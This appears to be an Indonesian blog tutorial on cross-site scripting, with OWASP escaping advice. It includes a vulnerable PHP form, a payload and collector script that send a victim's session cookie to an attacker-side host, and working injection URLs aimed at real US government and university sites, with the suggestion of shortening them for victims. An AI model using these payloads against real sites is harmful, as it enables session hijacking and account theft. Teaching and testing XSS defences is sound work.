XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Penjelasan diatas saya ambil dari Wikipedia, jika anda masih bingung, maka hal yang terbaik adalah dengan memberikan contoh, silahkan copy code ini lalu jalankan.

<?php
session_start();
if(isset($_POST['submit']))
	echo $_POST['comment'].'<br>';
?>
<form action="comment.php" method="post"><textarea name="comment"></textarea>
<input type="submit" name="submit" value="Submit" /></form>

Standard bukan ? Baiklah sekarang coba masukkan code berikut pada comment, lalu submit

<script type="text/javascript">javascript:alert('fathihadi.net');</script>

Anda akan melihat Alert atau PopUp bukan ?(*kecuali anda mematikan javascript pada browser). Pada code awal kita sama sekali tidak memunculkan Alert, melainkan Alert ini masuk melalui User Input. Nah inilah yang disebut XSS, yaitu serangan injeksi script. Bayangkan jika facebook memiliki celah XSS seperti ini, siapapun teman anda yang iseng memasukkan script aneh ada wall post-nya, maka anda akan terganggu setiap kali membuka facebook.

Tentunya tujuan hacker mencoba serangan XSS bukan untuk mengganggu alias iseng, tapi untuk tujuan lain, yaitu mencuri session dan hal lainnya. Lalu bagaimana contohnya dengan XSS, hacker bisa mencuri session ?

Sebagai bukti, silahkan persiapkan satu file php baru, yaitu ‘get_all.php’. Pada skenario kali ini, kita akan mencuri PHPSESSID dari user yang sedang login dan mengirimkannya ke server kita

<?php
$file = 'submitted.txt';
$current = file_get_contents($file);
$current .= json_encode($_GET);
file_put_contents($file, $current);
?>

Perlu diketahui bahwa kita akan mencoba semuanya secara local, saya hanya memberikan bukti secara konsep. Dan pada serangan yang sesungguhnya, file get_all.php ini tidak akan berada di localhost, melainkan di hosting sungguhan. Sekarang mari kita coba masukkan code XSS berikut:

<script type="text/javascript">document.write('<img src="http://local.dev:8080/test/get_all.php?w=' + document.cookie + '" style="display:none;">');</script>

Code xss diatas akan membuat sebuah script img yang tidak terlihat, lalu browser akan mengirimkan session cookie ke alamat http://local.dev:8080/test/get_all.php

Berikut contoh PHPSESSID yang terkirimkan,

{"w":"PHPSESSID=3emh390v9sbp23thi2se3onr67"}

Jenis Serangan

Terdapat dua jenis serangan XSS, Persistent dan Non-Persistent. Pada contoh diatas, merupakan jenis serangan Persistent, yaitu serangan yang berupa permanen, karena script xss disimpan kedalam database atau secondary storage, dan setiap korban yang membuka halaman yang sudah terinfeksi akan terkena dampaknya juga. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), Contohnya saya temukan pada situs Printing Office pemerintahan US.

http://www.gpo.gov/gpo/sitesearch/homedosite.action;jsessionid=gJhsRDgT5D1nG53Pv22Q2DPPv5Z29yBnZcLLYhVyFybv1Nnt6R7F!-1342791787?st=%22%3E%3Cimg%20src=%22https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E

Dan

http://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E&x=8&y=6

xss_us_printing

nyu_xss

Link diatas bisa dengan mudah saya pendekkan dengan menggunakan tinyurl service seperti bit.ly dan mengirimkannya kepada calon korban. Sekali lagi jangan bingung, karena contoh diatas hanya untuk pembuktian, dan Hacker bisa melakukan hal lain selain menaruh gambar.
Sekarang, bagaimana caranya kita mengetahui bahwa program yang kita tulis sudah benar-benar aman dari XSS ? Anda bisa mencobanya langsung dengan melakukan test satu persatu code XSS dari RSnake XSS cheatsheet dan HTML5 XSS cheatsheet.

Solusi

Jika anda terbiasa menggunakan htmlspecialchars(), maka sepertinya anda harus berfikir ulang, karena fungsi ‘htmlspecialchars’ tidaklah cukup untuk melakukan escaping. Menurut OWASP(Open Web Application Security Project), escaping untuk HTML seharusnya adalah sebagai berikut,

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     &apos; tidak disarankan karena bukan merupakan bagian dari spesifikasi HTML (Lihat: section 24.4.1) &apos; merupakan bagian dari spesifikasi XML dan XHTML.
/ --> &#x2F;     forward slash juga harus diescape

Selain itu, tidak hanya HTML Entity saja yang harus diescape, melainkan HTML Attribute, URL, JavaScript, dan CSS Hex.

Jelas bahwa ‘htmlspecialchars’ saja tidak cukup. Saya akan membuat post lain yang khusus membahas Solusi XSS, mulai dari Escaping hingga Sanitizing.

Namun sebelum mengakhiri posting ini saya ingin menjelaskan mengenai XSS yang berada dalam File Gambar(jpg, png).

Image XSS

XSS Image yang saya maksud bukan berupa tag img pada html seperti,

<img alt="" src="javascript:alert('XSS');" />

Melainkan file Image seperti JPG, atau PNG. Anda mungkin bertanya, bagaimana mungkin file image bisa mengandung XSS?. Bisa!, anda bisa coba sendiri untuk membuka gambar apapun dengan Notepad atau HexEditor, lalu menghapus semuanya dan menggantikannya dengan XSS Code(atau ditambahkan diakhir).

hex image

hex image_after

Masalah ini sebenarnya hanya terjadi pada Internet Explorer versi 7 kebawah dan tidak dimiliki oleh Browser modern seperti Chrome dan Firefox, namun tetap kita harus menghindari masalah ini.

Berikut Tips untuk Image XSS :

  • Jangan simpan gambar pada domain yang sama dengan web, misalnya jika aplikasi web anda adalah ‘fathihadi.net’, maka simpan semua gambar di subdomain atau domain lain, misalnya ‘images.fathihadi.net’. Hal ini untuk melindungi pencurian cookie. PERHATIAN : Tips ini tidak menyelesaikan masalah !
  • Blok semua penggunaan Image. 😀 Tentunya tidak mungkin anda lakukan, jadi lupakan tips ini!
  • Gunakan Fungsi Manipulasi Gambar sebelum menyimpan gambar. Misalnya mengubah ukuran atau mengkompres Gambar. Ini merupakan cara paling ampuh.

Memang merepotkan bukan ? ini semua disebabkan oleh IE yang terlalu pintar karena mengeksekusi kode html dan javascript yang berapa dalam Image.

Semoga dengan membaca post ini anda bisa mendapatkan banyak gambaran mengenai Web Application Security. Post selanjutnya akan saya bahas solusinya secara mendalam